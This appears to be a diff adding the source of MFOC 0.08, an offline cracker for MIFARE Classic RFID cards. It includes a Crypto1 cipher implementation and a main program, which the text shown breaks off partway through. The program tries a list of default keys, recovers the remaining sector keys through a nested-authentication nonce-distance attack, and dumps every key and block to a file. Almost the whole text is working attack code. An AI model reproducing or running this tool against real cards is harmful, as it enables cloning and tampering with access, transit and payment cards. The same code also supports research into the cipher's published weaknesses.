__M = prng_successor(__M, (__i == 7) ? 48 : 8);\
|
||||||
|
else
|
||||||
|
|
||||||
|
#define LF_POLY_ODD (0x29CE5C)
|
||||||
|
#define LF_POLY_EVEN (0x870804)
|
||||||
|
#define BIT(x, n) ((x) >> (n) & 1)
|
||||||
|
#define BEBIT(x, n) BIT(x, (n) ^ 24)
|
||||||
|
static inline int parity(uint32_t x)
|
||||||
|
{
|
||||||
|
#if !defined __i386__ || !defined __GNUC__
|
||||||
|
x ^= x >> 16;
|
||||||
|
x ^= x >> 8;
|
||||||
|
x ^= x >> 4;
|
||||||
|
return BIT(0x6996, x & 0xf);
|
||||||
|
#else
|
||||||
|
asm( "movl %1, %%eax\n"
|
||||||
|
"mov %%ax, %%cx\n"
|
||||||
|
"shrl $0x10, %%eax\n"
|
||||||
|
"xor %%ax, %%cx\n"
|
||||||
|
"xor %%ch, %%cl\n"
|
||||||
|
"setpo %%al\n"
|
||||||
|
"movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx");
|
||||||
|
return x;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
static inline int filter(uint32_t const x)
|
||||||
|
{
|
||||||
|
uint32_t f;
|
||||||
|
|
||||||
|
f = 0xf22c0 >> (x & 0xf) & 16;
|
||||||
|
f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8;
|
||||||
|
f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4;
|
||||||
|
f |= 0x1e458 >> (x >> 12 & 0xf) & 2;
|
||||||
|
f |= 0x0d938 >> (x >> 16 & 0xf) & 1;
|
||||||
|
return BIT(0xEC57E80A, f);
|
||||||
|
}
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
#endif
|
93
src/crypto1.c
Normal file
93
src/crypto1.c
Normal file
|
@ -0,0 +1,93 @@
|
||||||
|
/* crypto1.c
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU General Public License
|
||||||
|
as published by the Free Software Foundation; either version 2
|
||||||
|
of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
|
||||||
|
MA 02110-1301, US
|
||||||
|
|
||||||
|
Copyright (C) 2008-2008 bla <blapost@gmail.com>
|
||||||
|
*/
|
||||||
|
#include "crapto1.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#define SWAPENDIAN(x)\
|
||||||
|
(x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
|
||||||
|
|
||||||
|
struct Crypto1State * crypto1_create(uint64_t key)
|
||||||
|
{
|
||||||
|
struct Crypto1State *s = malloc(sizeof(*s));
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for(i = 47;s && i > 0; i -= 2) {
|
||||||
|
s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7);
|
||||||
|
s->even = s->even << 1 | BIT(key, i ^ 7);
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
void crypto1_destroy(struct Crypto1State *state)
|
||||||
|
{
|
||||||
|
free(state);
|
||||||
|
}
|
||||||
|
void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
for(*lfsr = 0, i = 23; i >= 0; --i) {
|
||||||
|
*lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
|
||||||
|
*lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
|
||||||
|
{
|
||||||
|
uint32_t feedin;
|
||||||
|
uint8_t ret = filter(s->odd);
|
||||||
|
|
||||||
|
feedin = ret & !!is_encrypted;
|
||||||
|
feedin ^= !!in;
|
||||||
|
feedin ^= LF_POLY_ODD & s->odd;
|
||||||
|
feedin ^= LF_POLY_EVEN & s->even;
|
||||||
|
s->even = s->even << 1 | parity(feedin);
|
||||||
|
|
||||||
|
s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
|
||||||
|
{
|
||||||
|
uint8_t i, ret = 0;
|
||||||
|
|
||||||
|
for (i = 0; i < 8; ++i)
|
||||||
|
ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
|
||||||
|
{
|
||||||
|
uint32_t i, ret = 0;
|
||||||
|
|
||||||
|
for (i = 0; i < 32; ++i)
|
||||||
|
ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* prng_successor
|
||||||
|
* helper used to obscure the keystream during authentication
|
||||||
|
*/
|
||||||
|
uint32_t prng_successor(uint32_t x, uint32_t n)
|
||||||
|
{
|
||||||
|
SWAPENDIAN(x);
|
||||||
|
while(n--)
|
||||||
|
x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;
|
||||||
|
|
||||||
|
return SWAPENDIAN(x);
|
||||||
|
}
|
852
src/mfoc.c
Normal file
852
src/mfoc.c
Normal file
|
@ -0,0 +1,852 @@
|
||||||
|
/*
|
||||||
|
|
||||||
|
Mifare Classic Offline Cracker version 0.08
|
||||||
|
|
||||||
|
Requirements: crapto1 library http://code.google.com/p/crapto1
|
||||||
|
libnfc http://www.libnfc.org
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 2 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
Contact: <mifare@nethemba.com>
|
||||||
|
|
||||||
|
Porting to libnfc 1.3.3: Michal Boska <boska.michal@gmail.com>
|
||||||
|
|
||||||
|
URL http://eprint.iacr.org/2009/137.pdf
|
||||||
|
URL http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf
|
||||||
|
URL http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf
|
||||||
|
URL http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef PACKAGE_STRING
|
||||||
|
#define PACKAGE_STRING "0.08"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <nfc/nfc.h>
|
||||||
|
#include <nfc/mifaretag.h>
|
||||||
|
#include "crapto1.h"
|
||||||
|
#include "mfoc.h"
|
||||||
|
|
||||||
|
int main(int argc, char * const argv[]) {
|
||||||
|
int ch, i, k, n, j, m, o;
|
||||||
|
int key, block;
|
||||||
|
int succeed = 1;
|
||||||
|
|
||||||
|
// Exploit sector
|
||||||
|
int e_sector;
|
||||||
|
int probes = DEFAULT_PROBES_NR;
|
||||||
|
int sets = DEFAULT_SETS_NR;
|
||||||
|
|
||||||
|
// By default, dump 'A' keys
|
||||||
|
int dumpKeysA = true;
|
||||||
|
bool failure = false;
|
||||||
|
bool skip = false;
|
||||||
|
|
||||||
|
// Next default key specified as option (-k)
|
||||||
|
byte_t * defKey = NULL;
|
||||||
|
|
||||||
|
// Array with default Mifare Classic keys
|
||||||
|
byte_t defaultKeys[][6] = {
|
||||||
|
{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // First key
|
||||||
|
{0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // Second key
|
||||||
|
{0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, // Third key
|
||||||
|
{0x00, 0x00, 0x00, 0x00, 0x00, 0x00},
|
||||||
|
{0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd},
|
||||||
|
{0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a},
|
||||||
|
{0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7},
|
||||||
|
{0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff},
|
||||||
|
{0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97},
|
||||||
|
{0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f},
|
||||||
|
{0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91},
|
||||||
|
{0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6},
|
||||||
|
{0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9}
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
mftag t;
|
||||||
|
mfreader r;
|
||||||
|
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
|
||||||
|
|
||||||
|
// Pointers to possible keys
|
||||||
|
pKeys *pk;
|
||||||
|
countKeys *ck;
|
||||||
|
|
||||||
|
// Pointer to already broken keys, except defaults
|
||||||
|
bKeys *bk;
|
||||||
|
|
||||||
|
static mifare_param mp;
|
||||||
|
static mifare_tag mtDump;
|
||||||
|
|
||||||
|
mifare_cmd mc;
|
||||||
|
FILE *pfDump = NULL;
|
||||||
|
|
||||||
|
// Parse command line arguments
|
||||||
|
while ((ch = getopt(argc, argv, "hD:s:BP:T:S:O:k:t:")) != -1) {
|
||||||
|
switch (ch) {
|
||||||
|
case 'P':
|
||||||
|
// Number of probes
|
||||||
|
if (!(probes = atoi(optarg)) || probes < 1) {
|
||||||
|
fprintf(stderr, "The number of probes must be a positive number\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
// fprintf(stdout, "Number of probes: %d\n", probes);
|
||||||
|
break;
|
||||||
|
case 'T':
|
||||||
|
// Nonce tolerance range
|
||||||
|
if (!(d.tolerance = atoi(optarg)) || d.tolerance < 0) {
|
||||||
|
fprintf(stderr, "The nonce distances range must be a zero or a positive number\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
// fprintf(stdout, "Tolerance number: %d\n", probes);
|
||||||
|
break;
|
||||||
|
case 'k':
|
||||||
|
// Add this key to the default keys list
|
||||||
|
if ((defKey = calloc(6, sizeof(byte_t))) == NULL) {
|
||||||
|
fprintf(stderr, "Cannot allocate memory for defKey\n");
|
||||||
|
exit(1);
|
||||||
|
} else {
|
||||||
|
bzero(defKey, 6);
|
||||||
|
num_to_bytes(strtol(optarg, NULL, 16), 6, defKey);
|
||||||
|
memcpy(defaultKeys[0], defKey, 6);
|
||||||
|
}
|
||||||
|
fprintf(stdout, "The custom key 0x%012llx has been added to the default keys\n", bytes_to_num(defKey, 6));
|
||||||
|
|
||||||
|
break;
|
||||||
|
case 'O':
|
||||||
|
// File output
|
||||||
|
if (!(pfDump = fopen(optarg, "wb"))) {
|
||||||
|
fprintf(stderr, "Cannot open: %s, exiting\n", optarg);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
// fprintf(stdout, "Output file: %s\n", optarg);
|
||||||
|
break;
|
||||||
|
case 'h':
|
||||||
|
usage(stdout, 0);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
usage(stderr, 1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!pfDump) {
|
||||||
|
fprintf(stderr, "Error, parameter -O is mandatory\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize reader/tag structures
|
||||||
|
mf_init(&t, &r);
|
||||||
|
// Configure reader settings
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_select_tag(r.pdi, &t.ti);
|
||||||
|
|
||||||
|
// Save tag uid and info about block size (b4K)
|
||||||
|
t.b4K = (t.ti.nai.abtAtqa[1] == 0x02);
|
||||||
|
t.uid = (uint32_t) bytes_to_num(t.ti.nai.abtUid, 4);
|
||||||
|
|
||||||
|
t.num_blocks = (t.b4K) ? 0xff : 0x3f;
|
||||||
|
t.num_sectors = t.b4K ? NR_TRAILERS_4k : NR_TRAILERS_1k;
|
||||||
|
|
||||||
|
t.sectors = (void *) calloc(t.num_sectors, sizeof(sector));
|
||||||
|
if (t.sectors == NULL) {
|
||||||
|
fprintf(stderr, "Cannot allocate memory for t.sectors\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
if ((pk = (void *) malloc(sizeof(pKeys))) == NULL) {
|
||||||
|
fprintf(stderr, "Cannot allocate memory for pk\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
if ((bk = (void *) malloc(sizeof(bKeys))) == NULL) {
|
||||||
|
fprintf(stderr, "Cannot allocate memory for bk\n");
|
||||||
|
exit(1);
|
||||||
|
} else {
|
||||||
|
bk->brokenKeys = NULL;
|
||||||
|
bk->size = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
d.distances = (void *) calloc(d.num_distances, sizeof(u_int32_t));
|
||||||
|
if (d.distances == NULL) {
|
||||||
|
fprintf(stderr, "Cannot allocate memory for t.distances\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Test if a compatible MIFARE tag is used
|
||||||
|
if ((t.ti.nai.btSak & 0x08) == 0) {
|
||||||
|
printf("Error: inserted tag is not a MIFARE Classic card\n");
|
||||||
|
nfc_disconnect(r.pdi);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize t.sectors, keys are not known yet
|
||||||
|
for (i = 0; i < (t.num_sectors); ++i) {
|
||||||
|
t.sectors[i].foundKeyA = t.sectors[i].foundKeyB = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stdout, "Found MIFARE Classic %cK card with uid: %08x\n", (t.b4K ? '4' : '1'), t.uid);
|
||||||
|
|
||||||
|
// Try to authenticate to all sectors with default keys
|
||||||
|
// Set the authentication information (uid)
|
||||||
|
memcpy(mp.mpa.abtUid, t.ti.nai.abtUid, sizeof(mp.mpa.abtUid));
|
||||||
|
// Iterate over all keys (n = number of keys)
|
||||||
|
n = sizeof(defaultKeys)/sizeof(defaultKeys[0]);
|
||||||
|
for (key = 0; key < n; key++) {
|
||||||
|
if (key == 0 && defKey == NULL) ++key; // Custom key not provided, try another key
|
||||||
|
memcpy(mp.mpa.abtKey, defaultKeys[key], sizeof(mp.mpa.abtKey));
|
||||||
|
fprintf(stdout, "[Key: %012llx] -> ", bytes_to_num(mp.mpa.abtKey, 6));
|
||||||
|
fprintf(stdout, "[");
|
||||||
|
i = 0; // Sector counter
|
||||||
|
// Iterate over every block, where we haven't found a key yet
|
||||||
|
for (block = 0; block <= t.num_blocks; ++block) {
|
||||||
|
if (trailer_block(block)) {
|
||||||
|
if (!t.sectors[i].foundKeyA) {
|
||||||
|
mc = MC_AUTH_A;
|
||||||
|
if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) {
|
||||||
|
// fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x\n",
|
||||||
|
// bytes_to_num(mp.mpa.abtKey, 6), i, block);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
} else {
|
||||||
|
// Save all information about successfull keyA authentization
|
||||||
|
memcpy(t.sectors[i].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
t.sectors[i].foundKeyA = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!t.sectors[i].foundKeyB) {
|
||||||
|
mc = MC_AUTH_B;
|
||||||
|
if (!nfc_initiator_mifare_cmd(r.pdi,mc,block,&mp)) {
|
||||||
|
// fprintf(stdout, "!!Error: AUTH [Key B:%012llx] sector %02x t_block %02x\n",
|
||||||
|
// bytes_to_num(mp.mpa.abtKey, 6), i, block);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
// No success, try next block
|
||||||
|
t.sectors[i].trailer = block;
|
||||||
|
} else {
|
||||||
|
memcpy(t.sectors[i].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
t.sectors[i].foundKeyB = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) {
|
||||||
|
fprintf(stdout, "x");
|
||||||
|
} else {
|
||||||
|
fprintf(stdout, ".");
|
||||||
|
}
|
||||||
|
fflush(stdout);
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
// fprintf(stdout, "\nSuccess: AUTH [Key %c:%012llx] sector %02x t_block %02x\n",
|
||||||
|
// (mc == MC_AUTH_A ? 'A' :'B'), bytes_to_num(mp.mpa.abtKey, 6), i, block);
|
||||||
|
// Save position of a trailer block to sector struct
|
||||||
|
t.sectors[i++].trailer = block;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fprintf(stdout, "]\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stdout, "\n");
|
||||||
|
for (i = 0; i < (t.num_sectors); ++i) {
|
||||||
|
fprintf(stdout, "Sector %02d - %12s ", i, ((t.sectors[i].foundKeyA) ? " FOUND_KEY [A]" : " UNKNOWN_KEY [A]"));
|
||||||
|
fprintf(stdout, "Sector %02d - %12s ", i, ((t.sectors[i].foundKeyB) ? " FOUND_KEY [B]" : " UNKNOWN_KEY [B]"));
|
||||||
|
fprintf(stdout, "\n");
|
||||||
|
}
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
// Return the first (exploit) sector encrypted with the default key or -1 (we have all keys)
|
||||||
|
e_sector = find_exploit_sector(t);
|
||||||
|
//mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode
|
||||||
|
|
||||||
|
// Recover key from encrypted sectors, j is a sector counter
|
||||||
|
for (m = 0; m < 2; ++m) {
|
||||||
|
if (e_sector == -1) break; // All keys are default, I am skipping recovery mode
|
||||||
|
for (j = 0; j < (t.num_sectors); ++j) {
|
||||||
|
memcpy(mp.mpa.abtUid, t.ti.nai.abtUid, sizeof(mp.mpa.abtUid));
|
||||||
|
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
|
||||||
|
|
||||||
|
// First, try already broken keys
|
||||||
|
skip = false;
|
||||||
|
for (o = 0; o < bk->size; o++) {
|
||||||
|
num_to_bytes(bk->brokenKeys[o], 6, mp.mpa.abtKey);
|
||||||
|
mc = dumpKeysA ? 0x60 : 0x61;
|
||||||
|
if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) {
|
||||||
|
// fprintf(stdout, "!!Error: AUTH [Key A:%012llx] sector %02x t_block %02x, key %d\n",
|
||||||
|
// bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer, o);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
} else {
|
||||||
|
// Save all information about successfull authentization
|
||||||
|
if (dumpKeysA) {
|
||||||
|
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
t.sectors[j].foundKeyA = true;
|
||||||
|
} else {
|
||||||
|
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
t.sectors[j].foundKeyB = true;
|
||||||
|
}
|
||||||
|
printf("Sector: %d, type %c\n", j, (dumpKeysA ? 'A' : 'B'));
|
||||||
|
fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
||||||
|
bytes_to_num(mp.mpa.abtKey, 6));
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
skip = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (skip) continue; // We have already revealed key, go to the next iteration
|
||||||
|
|
||||||
|
// Max probes for auth for each sector
|
||||||
|
for (k = 0; k < probes; ++k) {
|
||||||
|
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
|
||||||
|
mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
|
||||||
|
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
|
||||||
|
// Configure device to the previous state
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
|
||||||
|
pk->possibleKeys = NULL;
|
||||||
|
pk->size = 0;
|
||||||
|
// We have 'sets' * 32b keystream of potential keys
|
||||||
|
for (n = 0; n < sets; n++) {
|
||||||
|
// AUTH + Recovery key mode (for a_sector), repeat 5 times
|
||||||
|
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
fprintf(stdout, ".");
|
||||||
|
fflush(stdout);
|
||||||
|
}
|
||||||
|
fprintf(stdout, "\n");
|
||||||
|
// Get first 15 grouped keys
|
||||||
|
ck = uniqsort(pk->possibleKeys, pk->size);
|
||||||
|
for (i = 0; i < TRY_KEYS ; i++) {
|
||||||
|
// We don't known this key, try to break it
|
||||||
|
// This key can be found here two or more times
|
||||||
|
if (ck[i].count > 0) {
|
||||||
|
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
|
||||||
|
// Set required authetication method
|
||||||
|
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
|
||||||
|
mc = dumpKeysA ? 0x60 : 0x61;
|
||||||
|
if (!nfc_initiator_mifare_cmd(r.pdi,mc,t.sectors[j].trailer,&mp)) {
|
||||||
|
// fprintf(stdout, "!!Error: AUTH [Key A:%llx] sector %02x t_block %02x\n",
|
||||||
|
// bytes_to_num(mp.mpa.abtKey, 6), j, t.sectors[j].trailer);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
} else {
|
||||||
|
// Save all information about successfull authentization
|
||||||
|
bk->size++;
|
||||||
|
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
||||||
|
bk->brokenKeys[bk->size-1] = bytes_to_num(mp.mpa.abtKey, 6);
|
||||||
|
if (dumpKeysA) {
|
||||||
|
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
t.sectors[j].foundKeyA = true;
|
||||||
|
|
||||||
|
} else {
|
||||||
|
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
t.sectors[j].foundKeyB = true;
|
||||||
|
}
|
||||||
|
fprintf(stdout, "Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
||||||
|
bytes_to_num(mp.mpa.abtKey, 6));
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(pk->possibleKeys);
|
||||||
|
free(ck);
|
||||||
|
// Success, try the next sector
|
||||||
|
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
|
||||||
|
}
|
||||||
|
// We haven't found any key, exiting
|
||||||
|
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
|
||||||
|
fprintf(stderr, "No success, maybe you should increase the probes\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dumpKeysA = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
for (i = 0; i < (t.num_sectors); ++i) {
|
||||||
|
if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) {
|
||||||
|
fprintf(stdout, "\nTry again, there are still some encrypted blocks\n");
|
||||||
|
succeed = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (succeed) {
|
||||||
|
i = t.num_sectors; // Sector counter
|
||||||
|
fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n");
|
||||||
|
// Read all blocks
|
||||||
|
for (block = t.num_blocks; block >= 0; block--) {
|
||||||
|
trailer_block(block) ? i-- : i;
|
||||||
|
failure = true;
|
||||||
|
|
||||||
|
// Try A key, auth() + read()
|
||||||
|
memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA));
|
||||||
|
if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) {
|
||||||
|
// fprintf(stderr, "Error: Auth A\n");
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
} else { // and Read
|
||||||
|
if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) {
|
||||||
|
fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6));
|
||||||
|
print_hex(mp.mpd.abtData, 16);
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_select_tag(r.pdi, &t.ti);
|
||||||
|
failure = false;
|
||||||
|
} else {
|
||||||
|
// Error, now try read() with B key
|
||||||
|
// fprintf(stderr, "Error: Read A\n");
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB));
|
||||||
|
if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) {
|
||||||
|
// fprintf(stderr, "Error: Auth B\n");
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
} else { // and Read
|
||||||
|
if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) {
|
||||||
|
fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6));
|
||||||
|
print_hex(mp.mpd.abtData, 16);
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_select_tag(r.pdi, &t.ti);
|
||||||
|
failure = false;
|
||||||
|
} else {
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
// fprintf(stderr, "Error: Read B\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (trailer_block(block)) {
|
||||||
|
// Copy the keys over from our key dump and store the retrieved access bits
|
||||||
|
memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA,6);
|
||||||
|
memcpy(mtDump.amb[block].mbt.abtKeyB,t.sectors[i].KeyB,6);
|
||||||
|
if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits,mp.mpd.abtData+6,4);
|
||||||
|
} else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData,16);
|
||||||
|
memcpy(mp.mpa.abtUid,t.ti.nai.abtUid,4);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Finally save all keys + data to file
|
||||||
|
if (fwrite(&mtDump, 1, sizeof(mtDump), pfDump) != sizeof(mtDump)) {
|
||||||
|
fprintf(stdout, "Error, cannot write dump\n");
|
||||||
|
fclose(pfDump);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
fclose(pfDump);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(t.sectors);
|
||||||
|
free(d.distances);
|
||||||
|
|
||||||
|
// Reset the "advanced" configuration to normal
|
||||||
|
nfc_configure(r.pdi, NDO_HANDLE_CRC, true);
|
||||||
|
nfc_configure(r.pdi, NDO_HANDLE_PARITY, true);
|
||||||
|
|
||||||
|
// Disconnect device and exit
|
||||||
|
nfc_disconnect(r.pdi);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void usage(FILE * stream, int errno) {
|
||||||
|
fprintf(stream, "mfoc %s\n\n", PACKAGE_STRING);
|
||||||
|
fprintf(stream, "usage: mfoc [-h] [-P probnum] [-T tolerance] [-k custom_key] [-O output]\n\n");
|
||||||
|
fprintf(stream, "example: mfoc\n");
|
||||||
|
fprintf(stream, "example: mfoc -k ffffeeeedddd -O card_dump\n");
|
||||||
|
fprintf(stream, "example: mfoc -P 50 -O card_dump\n");
|
||||||
|
fprintf(stream, "\n");
|
||||||
|
fprintf(stream, " h : print this help\n");
|
||||||
|
// fprintf(stream, " B : instead of 'A' dump 'B' keys\n");
|
||||||
|
fprintf(stream, " k : use a specified key instead of looking for defaults ones\n");
|
||||||
|
// fprintf(stream, " D : number of distance probes, default is 20\n");
|
||||||
|
